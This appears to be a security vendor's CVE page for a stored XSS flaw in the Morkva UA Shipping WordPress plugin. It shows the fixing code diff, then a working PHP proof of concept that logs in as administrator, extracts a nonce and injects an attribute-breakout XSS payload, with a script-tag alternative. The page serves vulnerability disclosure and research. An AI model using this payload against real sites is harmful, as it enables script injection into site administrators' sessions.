+		            'type'      => isset( $sender['type'] ) ? sanitize_text_field( $sender['type'] ) : '',
+		            'warehouse' => isset( $sender['warehouse'] ) && is_array( $sender['warehouse'] ) ? [
+		                'name' => isset( $sender['warehouse']['name'] ) ? sanitize_text_field( $sender['warehouse']['name'] ) : '',
+		                'id'   => isset( $sender['warehouse']['id'] ) ? sanitize_text_field( $sender['warehouse']['id'] ) : '',
+		            ] : [],
+		            'individual' => isset( $sender['individual'] ) && is_array( $sender['individual'] ) ? [
+		                'lastname'   => isset( $sender['individual']['lastname'] ) ? sanitize_text_field( $sender['individual']['lastname'] ) : '',
+		                'name'       => isset( $sender['individual']['name'] ) ? sanitize_text_field( $sender['individual']['name'] ) : '',
+		                'middlename' => isset( $sender['individual']['middlename'] ) ? sanitize_text_field( $sender['individual']['middlename'] ) : '',
+		                'phone'      => isset( $sender['individual']['phone'] ) ? sanitize_text_field( $sender['individual']['phone'] ) : '',
+		            ] : [],
+		        ];
+		    }
+
+		    # --- Payer (domestic) ---
+		    if ( isset( $input['payer'] ) && is_array( $input['payer'] ) ) {
+		        $payer = $input['payer'];
+		        $output['payer'] = [
+		            'delivery' => isset( $payer['delivery'] ) ? sanitize_text_field( $payer['delivery'] ) : 'Recipient',
+		            'cash'     => isset( $payer['cash'] ) ? sanitize_text_field( $payer['cash'] ) : 'Recipient',
+		        ];
+		    } elseif ( ! isset( $output['payer'] ) ) {
+		        $output['payer'] = [ 'delivery' => 'Recipient', 'cash' => 'Recipient' ];
+		    }
+
+		    # --- Shipment (domestic) ---
+		    if ( isset( $input['shipment'] ) && is_array( $input['shipment'] ) ) {
+		        $shipment = $input['shipment'];
+		        $output['shipment'] = [
+		            'type'        => isset( $shipment['type'] ) ? sanitize_text_field( $shipment['type'] ) : 'STANDARD',
+		            'weight'      => isset( $shipment['weight'] ) ? floatval( $shipment['weight'] ) : 0,
+		            'length'      => isset( $shipment['length'] ) ? floatval( $shipment['length'] ) : 0,
+		            'width'       => isset( $shipment['width'] ) ? floatval( $shipment['width'] ) : 0,
+		            'height'      => isset( $shipment['height'] ) ? floatval( $shipment['height'] ) : 0,
+		            'sticker'     => isset( $shipment['sticker'] ) ? sanitize_text_field( $shipment['sticker'] ) : '100*100',
+		            'cart_total'  => isset( $shipment['cart_total'] ) ? sanitize_text_field( $shipment['cart_total'] ) : '',
+		            'description' => isset( $shipment['description'] ) ? sanitize_textarea_field( $shipment['description'] ) : '',
+		        ];
+		    }
+
+		    # --- International (Pro only – but sanitize anyway) ---
+		    if ( isset( $input['international'] ) && is_array( $input['international'] ) ) {
+		        $inter = $input['international'];
+		        $output['international'] = [
+		            // Sender contact
+		            'name'          => isset( $inter['name'] ) ? sanitize_text_field( $inter['name'] ) : '',
+		            'lastname'      => isset( $inter['lastname'] ) ? sanitize_text_field( $inter['lastname'] ) : '',
+		            'city'          => isset( $inter['city'] ) ? sanitize_text_field( $inter['city'] ) : '',
+		            'street'        => isset( $inter['street'] ) ? sanitize_text_field( $inter['street'] ) : '',
+		            'house'         => isset( $inter['house'] ) ? sanitize_text_field( $inter['house'] ) : '',
+		            'index'         => isset( $inter['index'] ) ? sanitize_text_field( $inter['index'] ) : '',
+		            'phone'         => isset( $inter['phone'] ) ? sanitize_text_field( $inter['phone'] ) : '',
+		            // Payer
+		            'payer'         => isset( $inter['payer'] ) && is_array( $inter['payer'] ) ? [
+		                'delivery' => isset( $inter['payer']['delivery'] ) ? sanitize_text_field( $inter['payer']['delivery'] ) : 'Recipient',
+		                'cash'     => isset( $inter['payer']['cash'] ) ? sanitize_text_field( $inter['payer']['cash'] ) : 'Recipient',
+		            ] : [ 'delivery' => 'Recipient', 'cash' => 'Recipient' ],
+		            // Shipment params
+		            'type'          => isset( $inter['type'] ) ? sanitize_text_field( $inter['type'] ) : '',
+		            'category'      => isset( $inter['category'] ) ? sanitize_text_field( $inter['category'] ) : '',
+		            'weight'        => isset( $inter['weight'] ) ? floatval( $inter['weight'] ) : 0,
+		            'length'        => isset( $inter['length'] ) ? floatval( $inter['length'] ) : 0,
+		            'global_hscode' => isset( $inter['global_hscode'] ) ? sanitize_text_field( $inter['global_hscode'] ) : '',
+		            'hscode_attr'   => isset( $inter['hscode_attr'] ) ? sanitize_text_field( $inter['hscode_attr'] ) : '',
+		            'track'         => isset( $inter['track'] ) ? sanitize_text_field( $inter['track'] ) : 'off',
+		            'bulky'         => isset( $inter['bulky'] ) ? sanitize_text_field( $inter['bulky'] ) : 'off',
+		            'air'           => isset( $inter['air'] ) ? sanitize_text_field( $inter['air'] ) : 'off',
+		            'courier'       => isset( $inter['courier'] ) ? sanitize_text_field( $inter['courier'] ) : 'off',
+		            'sms'           => isset( $inter['sms'] ) ? sanitize_text_field( $inter['sms'] ) : 'off',
+		            'sticker'       => isset( $inter['sticker'] ) ? sanitize_text_field( $inter['sticker'] ) : 'cp71',
+		            'description'   => isset( $inter['description'] ) ? sanitize_textarea_field( $inter['description'] ) : '',
+		        ];
+		    }
+
+		    # --- Email ---
+		    if ( isset( $input['email'] ) && is_array( $input['email'] ) ) {
+		        $email = $input['email'];
+		        $output['email'] = [
+		            'subject' => isset( $email['subject'] ) ? sanitize_text_field( $email['subject'] ) : '',
+		            'auto'    => isset( $email['auto'] ) ? sanitize_text_field( $email['auto'] ) : 'off',
+		            'content' => isset( $email['content'] ) ? sanitize_textarea_field( $email['content'] ) : '',
+		        ];
+		    }
+
+		    # --- Automation ---
+		    if ( isset( $input['automation'] ) && is_array( $input['automation'] ) ) {
+		        $automation = $input['automation'];
+		        $output['automation'] = [
+		            'autocreate' => [
+		                'enabled' => isset( $automation['autocreate']['enabled'] ) ? sanitize_text_field( $automation['autocreate']['enabled'] ) : 'off',
+		            ],
+		        ];
+		    } elseif ( ! isset( $output['automation'] ) ) {
+		        $output['automation'] = [ 'autocreate' => [ 'enabled' => 'off' ] ];
+		    }
+
+		    # --- Checkout ---
+		    if ( isset( $input['checkout'] ) && is_array( $input['checkout'] ) ) {
+		        $checkout = $input['checkout'];
+		        $middlename = isset( $checkout['middlename'] ) && is_array( $checkout['middlename'] ) ? $checkout['middlename'] : [];
+		        $output['checkout'] = [
+		            'position'         => isset( $checkout['position'] ) ? sanitize_text_field( $checkout['position'] ) : '',
+		            'middlename'       => [
+		                'enabled'  => isset( $middlename['enabled'] ) ? sanitize_text_field( $middlename['enabled'] ) : 'off',
+		                'required' => isset( $middlename['required'] ) ? sanitize_text_field( $middlename['required'] ) : 'off',
+		                'position' => isset( $middlename['position'] ) ? sanitize_text_field( $middlename['position'] ) : '',
+		            ],
+		            'hide_saving_data' => isset( $checkout['hide_saving_data'] ) ? sanitize_text_field( $checkout['hide_saving_data'] ) : 'off',
+		        ];
+		    }
+
+		    # --- Debug ---
+		    if ( isset( $input['debug'] ) && is_array( $input['debug'] ) ) {
+		        $debug = $input['debug'];
+		        $output['debug'] = [
+		            'log'   => isset( $debug['log'] ) ? sanitize_text_field( $debug['log'] ) : 'off',
+		            'query' => isset( $debug['query'] ) ? sanitize_text_field( $debug['query'] ) : 'off',
+		        ];
+		    }
+
+		    return $output;
+		}
+
+	    public function sanitize_rozetka_delivery_settings( $input )
+	    {
+		    if ( ! current_user_can( 'manage_options' ) ) {
+		        return [];
+		    }
+
+		    # Preserve existing settings for any undeclared sections
+		    $current = get_option( 'rozetka-delivery_m_ua_settings', [] );
+		    $output = $current;
+
+		    # --- Checkout settings ---
+		    if ( isset( $input['checkout'] ) && is_array( $input['checkout'] ) ) {
+		        $checkout = $input['checkout'];
+		        $output['checkout'] = [
+		            'position'          => isset( $checkout['position'] ) ? sanitize_text_field( $checkout['position'] ) : '',
+		            'hide_saving_data'  => isset( $checkout['hide_saving_data'] ) ? sanitize_text_field( $checkout['hide_saving_data'] ) : 'off',
+		        ];
+		    }
+
+		    # --- Debug settings ---
+		    if ( isset( $input['debug'] ) && is_array( $input['debug'] ) ) {
+		        $debug = $input['debug'];
+		        $output['debug'] = [
+		            'log'   => isset( $debug['log'] ) ? sanitize_text_field( $debug['log'] ) : 'off',
+		            'query' => isset( $debug['query'] ) ? sanitize_text_field( $debug['query'] ) : 'off',
+		        ];
+		    }
+
+		    return $output;
+		}
+
+
+	    public function sanitize_nova_global_settings( $input ) {
+	        if ( ! current_user_can( 'manage_options' ) ) {
+	            return [];
+	        }
+
+	        // Preserve existing settings for any undeclared sections
+	        $current = get_option( 'nova-global_m_ua_settings', [] );
+	        $output = $current;
+
+	        // --- Basic settings (API credentials) ---
+	        $output['production_username'] = isset( $input['production_username'] ) ? sanitize_text_field( $input['production_username'] ) : '';
+	        $output['production_password'] = isset( $input['production_password'] ) ? sanitize_text_field( $input['production_password'] ) : '';
+
+	        // Test mode checkbox
+	        $output['test_mode'] = isset( $input['test_mode'] ) ? sanitize_text_field( $input['test_mode'] ) : 'off';
+
+	        // Sandbox credentials
+	        $output['test_username'] = isset( $input['test_username'] ) ? sanitize_text_field( $input['test_username'] ) : '';
+	        $output['test_password'] = isset( $input['test_password'] ) ? sanitize_text_field( $input['test_password'] ) : '';
+
+	        // --- Shipment default values ---
+	        if ( isset( $input['shipment'] ) && is_array( $input['shipment'] ) ) {
+	            $shipment = $input['shipment'];
+	            $output['shipment'] = [
+	                'weight' => isset( $shipment['weight'] ) ? floatval( $shipment['weight'] ) : 0,
+	                'length' => isset( $shipment['length'] ) ? floatval( $shipment['length'] ) : 0,
+	                'width'  => isset( $shipment['width'] ) ? floatval( $shipment['width'] ) : 0,
+	                'height' => isset( $shipment['height'] ) ? floatval( $shipment['height'] ) : 0,
+	                'volume' => isset( $shipment['volume'] ) ? floatval( $shipment['volume'] ) : 0,
+	            ];
+	        }
+
+	        // --- Checkout settings ---
+	        if ( isset( $input['checkout'] ) && is_array( $input['checkout'] ) ) {
+	            $checkout = $input['checkout'];
+	            $output['checkout'] = [
+	                'position'         => isset( $checkout['position'] ) ? sanitize_text_field( $checkout['position'] ) : '',
+	                'hide_saving_data' => isset( $checkout['hide_saving_data'] ) ? sanitize_text_field( $checkout['hide_saving_data'] ) : 'off',
+	            ];
+	        }
+
+	        // --- Debug settings ---
+	        if ( isset( $input['debug'] ) && is_array( $input['debug'] ) ) {
+	            $debug = $input['debug'];
+	            $output['debug'] = [
+	                'log'   => isset( $debug['log'] ) ? sanitize_text_field( $debug['log'] ) : 'off',
+	                'query' => isset( $debug['query'] ) ? sanitize_text_field( $debug['query'] ) : 'off',
+	            ];
+	        }
+
+	        return $output;
+	    }
 	}
 }
 No newline at end of file
--- a/morkva-ua-shipping/classes/shipping_methods/mrkv-ua-shipping-methods.php
+++ b/morkva-ua-shipping/classes/shipping_methods/mrkv-ua-shipping-methods.php
@@ -66,7 +66,7 @@
 							. '/api/mrkv-ua-shipping-api-' . SETTINGS_MRKV_UA_SHIPPING_SLUG . '.php';

 						global $mrkv_global_option_generator;
-						$mrkv_global_option_generator = new MRKV_UA_SHIPPING_OPTION_FILEDS();
+						$mrkv_global_option_generator = new MRKV_UA_SHIPPING_OPTION_FIELDS();
 						define('MRKV_OPTION_OBJECT_NAME', SETTINGS_MRKV_UA_SHIPPING_SLUG . '_m_ua_settings');
 						define('MRKV_SHIPPING_SETTINGS', get_option(MRKV_OPTION_OBJECT_NAME));

--- a/morkva-ua-shipping/classes/shipping_methods/nova-poshta/invoice/mrkv-ua-shipping-nova-poshta-invoice.php
+++ b/morkva-ua-shipping/classes/shipping_methods/nova-poshta/invoice/mrkv-ua-shipping-nova-poshta-invoice.php
@@ -72,7 +72,7 @@

 			# Cargo data
 			$cargo_type = $this->get_cargo_type();
-			$cargo_weight = $this->get_cargo_weight();
+			$cargo_weight = $this->check_cargo_weight($cargo_type, $this->get_cargo_weight());
 			$cargo_length = $this->get_cargo_length($dimension_unit);
 			$cargo_width = $this->get_cargo_width($dimension_unit);
 			$cargo_height = $this->get_cargo_height($dimension_unit);
@@ -469,6 +469,16 @@
 			}
 		}

+		private function check_cargo_weight($cargo_type, $cargo_weight)
+		{
+			if($cargo_type == 'Documents')
+			{
+				$cargo_weight = 1;
+			}
+
+			return $cargo_weight;
+		}
+
 		private function get_cargo_length($dimension_unit)
 		{
 			if(isset($this->post_fields['mrkv_ua_ship_invoice_shipment_length']) && $this->post_fields['mrkv_ua_ship_invoice_shipment_length'])
--- a/morkva-ua-shipping/classes/shipping_methods/rozetka-delivery/ajax/mrkv-ua-shipping-methods-ajax-rozetka.php
+++ b/morkva-ua-shipping/classes/shipping_methods/rozetka-delivery/ajax/mrkv-ua-shipping-methods-ajax-rozetka.php
@@ -34,35 +34,46 @@

 			$key_search = isset($_POST['name']) ? sanitize_text_field(wp_unslash($_POST['name'])) : '';

-	        # Send request
-	        $obj = $mrkv_object_rztk_delivery->send_post_request('api/city?page=1&limit=50&name=' . $key_search . '&sort_by_population=ASC', 'GET');
+			$page  = 1;
+		    $limit = 50;
+		    $cities = [];
+
+		    do
+		    {
+		        $obj = $mrkv_object_rztk_delivery->send_post_request(
+		            'api/city?page=' . $page . '&limit=' . $limit . '&name=' . urlencode($key_search) . '&sort_by_population=desc',
+		            'GET'
+		        );
+
+		        if (
+		            empty($obj['data']) ||
+		            !is_array($obj['data'])
+		        ) {
+		            break;
+		        }
+
+		        foreach ($obj['data'] as $entry) {
+		            $cities[] = [
+		                'value'       => $entry['id'],
+		                'label'       => $entry['name'] . ', ' . $entry['district_name'] . ' ' . __('district', 'mrkv-ua-shipping'),
+		                'area'        => $entry['region_name'],
+		                'area_id'     => $entry['region_id'],
+		                'city_label'  => $entry['name'],
+		                'district'    => $entry['district_name'] . ' ' . __('district', 'mrkv-ua-shipping'),
+		                'district_id' => $entry['district_id'],
+		            ];
+		        }
+
+		        $total_pages = isset($obj['pagination']['page_count'])
+		            ? (int) $obj['pagination']['page_count']
+		            : 1;

-	        if(isset($obj['data']) && is_array($obj['data']) && !empty($obj['data']))
-       		{
-       			$cities = array();
-
-       			foreach($obj['data'] as $entry)
-       			{
-       				$cities[] = array(
-	        			'value' => $entry['id'],
-	        			'label' => $entry['name'] . ', ' . $entry['district_name'] . ' ' . __('district', 'mrkv-ua-shipping'),
-	        			'area' => $entry['region_name'],
-	        			'area_id' => $entry['region_id'],
-	        			'city_label' => $entry['name'],
-	        			'district' => $entry['district_name'] . ' ' . __('district', 'mrkv-ua-shipping'),
-	        			'district_id' => $entry['district_id'],
-	        		);
-       			}
-
-       			# Return object
-	        	echo wp_json_encode($cities);
-       		}
-       		else
-       		{
-       			echo wp_json_encode(array());
-       		}
+		        $page++;

-		    wp_die();
+		    } while ($page <= $total_pages);
+
+	        echo wp_json_encode($cities);
+    		wp_die();
 		}

 		public function get_rozetka_warehouse()
--- a/morkva-ua-shipping/classes/shipping_methods/rozetka-delivery/api/mrkv-ua-shipping-api-rozetka-delivery.php
+++ b/morkva-ua-shipping/classes/shipping_methods/rozetka-delivery/api/mrkv-ua-shipping-api-rozetka-delivery.php
@@ -13,7 +13,7 @@
 		/**
 		 * @var string API URL
 		 * */
-		private $api_url = 'https://rz-delivery-octopus.rozetka.ua/';
+		private $api_url = 'https://rz-delivery.rozetka.ua/';

 	    /**
 	     * @var string $responseTime waiting for response from server, sec.
--- a/morkva-ua-shipping/constants-mrkv-ua-shipping.php
+++ b/morkva-ua-shipping/constants-mrkv-ua-shipping.php
@@ -17,4 +17,59 @@

 # Data
 define('MRKV_UA_SHIPPING_PLUGIN_VERSION', $plugData['Version']);
-define('MRKV_UA_SHIPPING_PLUGIN_TEXT_DOMAIN', 'mrkv-ua-shipping');
 No newline at end of file
+define('MRKV_UA_SHIPPING_PLUGIN_TEXT_DOMAIN', 'mrkv-ua-shipping');
+
+# Allow tags
+define( 'MRKV_UA_SHIPPING_ALLOW_TAGS', array(
+    'label' => array(
+        'for'   => true,
+        'class' => true,
+    ),
+    'input' => array(
+        'type'        => true,
+        'id'          => true,
+        'name'        => true,
+        'value'       => true,
+        'placeholder' => true,
+        'step'        => true,
+        'min'         => true,
+        'max'         => true,
+        'checked'     => true,
+        'disabled'    => true,
+        'readonly'    => true,
+        'multiple'    => true,
+        'onwheel'     => true,
+        'class'       => true,
+    ),
+    'select' => array(
+        'id'       => true,
+        'name'     => true,
+        'multiple' => true,
+        'disabled' => true,
+        'class'    => true,
+    ),
+    'option' => array(
+        'value'    => true,
+        'selected' => true,
+        'class'    => true,
+    ),
+    'textarea' => array(
+        'id'          => true,
+        'name'        => true,
+        'placeholder' => true,
+        'readonly'    => true,
+        'class'       => true,
+        'rows'        => true,
+        'cols'        => true,
+    ),
+    'p' => array(
+        'class' => true,
+    ),
+    'div' => array(
+        'class' => true,
+        'id'    => true,
+    ),
+    'span' => array(
+        'class' => true,
+    ),
+) );
 No newline at end of file
--- a/morkva-ua-shipping/i18n/mrkv-ua-shipping-en_GB.l10n.php
+++ b/morkva-ua-shipping/i18n/mrkv-ua-shipping-en_GB.l10n.php
@@ -1,5 +1,5 @@
 <?php
-return ['project-id-version'=>'Morkva UA Shipping','pot-creation-date'=>'2024-10-01 09:03+0300','po-revision-date'=>'2025-12-04 08:14+0000','last-translator'=>'','language-team'=>'English (UK)','language'=>'en_GB','mime-version'=>'1.0','content-type'=>'text/plain; charset=UTF-8','content-transfer-encoding'=>'8bit','x-generator'=>'Loco https://localise.biz/','x-poedit-basepath'=>'..','plural-forms'=>'nplurals=2; plural=(n != 1);','x-poedit-flags-xgettext'=>'--add-comments=translators:','x-poedit-wpheader'=>'mrkv-ua-shipping.php','x-poedit-sourcecharset'=>'UTF-8','x-poedit-keywordslist'=>'__;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;_nx_noop:3c,1,2;__ngettext_noop:1,2','x-poedit-searchpath-0'=>'.','x-poedit-searchpathexcluded-0'=>'*.js
+return ['project-id-version'=>'Morkva UA Shipping','pot-creation-date'=>'2024-10-01 09:03+0300','po-revision-date'=>'2026-02-23 13:51+0000','last-translator'=>'','language-team'=>'English (UK)','language'=>'en_GB','mime-version'=>'1.0','content-type'=>'text/plain; charset=UTF-8','content-transfer-encoding'=>'8bit','x-generator'=>'Loco https://localise.biz/','x-poedit-basepath'=>'..','plural-forms'=>'nplurals=2; plural=(n != 1);','x-poedit-flags-xgettext'=>'--add-comments=translators:','x-poedit-wpheader'=>'mrkv-ua-shipping.php','x-poedit-sourcecharset'=>'UTF-8','x-poedit-keywordslist'=>'__;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;_nx_noop:3c,1,2;__ngettext_noop:1,2','x-poedit-searchpath-0'=>'.','x-poedit-searchpathexcluded-0'=>'*.js
 ','messages'=>[' Number of positions'=>' Number of positions','">the settings</a>.'=>'">the settings</a>.','(only to countries where Nova Post operates: Poland, Moldova, Czech Republic, Romania, Germany, Slovakia, Estonia, Latvia, Hungary, Italy, United Kingdom, Spain, France, Austria, Netherlands)'=>'(only to countries where Nova Post operates: Poland, Moldova, Czech Republic, Romania, Germany, Slovakia, Estonia, Latvia, Hungary, Italy, United Kingdom, Spain, France, Austria, Netherlands)','(temporarily unavailable)'=>'(temporarily unavailable)','(this feature is only available if the sender pays for delivery)'=>'(this feature is only available if the sender pays for delivery)','100*100 mm'=>'100*100 mm','100*100 mm for printing on A4 size'=>'100*100 mm for printing on A4 size','100*100 mm for printing on A5 size'=>'100*100 mm for printing on A5 size','2-in-1: Nova Poshta and Ukrposhta delivery services. Create shipping methods and shipments easily'=>'2-in-1: Nova Poshta and Ukrposhta delivery services. Create shipping methods and shipments easily','2022-05-17 06:50:02 (UTC)'=>'2022-05-17 06:50:02 (UTC)','A shipment will be created after the order is placed'=>'A shipment will be created after the order is placed','About us'=>'About us','Activate a shipping method of your choice from the list below. Then go to settings and set them up.'=>'Activate a shipping method of your choice from the list below. Then go to settings and set them up.','Add shipping method, calculate shipping costs, create and manage shipments, both manually and automatically. Using API 2.0 and connects directly to the Nova Poshta server for fast and secure user experience.'=>'Add shipping method, calculate shipping costs, create and manage shipments, both manually and automatically. Using API 2.0 and connects directly to the Nova Poshta server for fast and secure user experience.','Added invoice number'=>'Added invoice number','Additional services'=>'Additional services','Address from'=>'Address from','Address Ref Incorrect'=>'Address Ref Incorrect','Address to'=>'Address to','After Payment data'=>'After Payment data','After the first name'=>'After the first name','After the last name'=>'After the last name','Air delivery'=>'Air delivery','An individual'=>'An individual','Apartment / Office'=>'Apartment / Office','API Key'=>'API Key','API key correct'=>'API key correct','API key incorrect'=>'API key incorrect','Auto-creation of a shipment'=>'Auto-creation of a shipment','Automatic created invoice'=>'Automatic created invoice','Automatically change order status'=>'Automatically change order status','Automatically create shipments'=>'Automatically create shipments','Automation'=>'Automation','Automation Settings'=>'Automation Settings','Basic'=>'Basic','Basic settings'=>'Basic settings','Before Notes to orders'=>'Before Notes to orders','Bulky parcel'=>'Bulky parcel','Cash'=>'Cash','Cash on delivery, UAH'=>'Cash on delivery, UAH','Cashless payment for the sender is available only if the contract is signed.'=>'Cashless payment for the sender is available only if the contract is signed.','Category of shipment'=>'Category of shipment','Change address'=>'Change address','Change method'=>'Change method','Change shipping method'=>'Change shipping method','Check the correctness of the shipment data, or fill in if necessary'=>'Check the correctness of the shipment data, or fill in if necessary','Check the default shipping payer for the shipment'=>'Check the default shipping payer for the shipment','Check the necessary fields that will be used to create the invoice'=>'Check the necessary fields that will be used to create the invoice','Checkout'=>'Checkout','Checkout settings'=>'Checkout settings','Cherkasy'=>'Cherkasy','Cherkasy, Cherkasy district'=>'Cherkasy, Cherkasy district','Chernihiv'=>'Chernihiv','Chernihiv, Chernihiv district'=>'Chernihiv, Chernihiv district','Chernivtsi'=>'Chernivtsi','Chernivtsi, Chernivtsi district'=>'Chernivtsi, Chernivtsi district','Choose a cart cost'=>'Choose a cart cost','Choose a category'=>'Choose a category','Choose a position'=>'Choose a position','Choose a sender'=>'Choose a sender','Choose a type'=>'Choose a type','Choose an attribute'=>'Choose an attribute','Choose how much the shipping cost will be calculated'=>'Choose how much the shipping cost will be calculated','Choose method'=>'Choose method','Choose the city'=>'Choose the city','Choose the house'=>'Choose the house','Choose the poshtomat'=>'Choose the poshtomat','Choose the street'=>'Choose the

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2292 - Morkva UA Shipping <= 1.7.9 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Weight, kg' Field

<?php
/**
 * Proof of Concept for CVE-2026-2292
 * Requires valid administrator credentials for the target WordPress site.
 * Injects XSS payload into the 'Weight, kg' field of Morkva UA Shipping plugin settings.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'admin'; // CHANGE THIS
$password = 'password'; // CHANGE THIS

// XSS payload - breaks out of the value attribute and executes JavaScript
$payload = '" onfocus="alert(document.domain)" autofocus="'; // Non-destructive demo payload
// Alternative persistent payload: '"><script>alert('XSS')</script>'

// Step 1: Authenticate and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code !== 200 && strpos($response, 'Location: ' . $admin_url) === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Navigate to Morkva UA Shipping settings page to get nonce
$settings_url = $target_url . '/wp-admin/admin.php?page=morkva-ua-shipping-nova-poshta';
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);

$settings_page = curl_exec($ch);

// Extract nonce from the form (simplified pattern match)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $nonce_matches);
if (empty($nonce_matches[1])) {
    die('Could not extract security nonce from settings page.');
}
$nonce = $nonce_matches[1];

// Step 3: Submit malicious weight value via POST
$submit_url = $target_url . '/wp-admin/admin-post.php';
$post_data = [
    'action' => 'update',
    'option_page' => 'mrkv-ua-shipping-nova-poshta-group',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/admin.php?page=morkva-ua-shipping-nova-poshta',
    'nova-poshta_m_ua_settings[shipment][weight]' => $payload, // Vulnerable parameter
    'nova-poshta_m_ua_settings[shipment][type]' => 'Parcel',
    'nova-poshta_m_ua_settings[shipment][payment]' => 'Cash',
    'submit' => 'Save Changes'
];

curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HEADER, true);

$submit_response = curl_exec($ch);

if (strpos($submit_response, 'Settings saved') !== false || curl_getinfo($ch, CURLINFO_HTTP_CODE) === 302) {
    echo "Payload successfully injected. Visit $settings_url to trigger XSS.n";
} else {
    echo "Injection may have failed. Check response.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School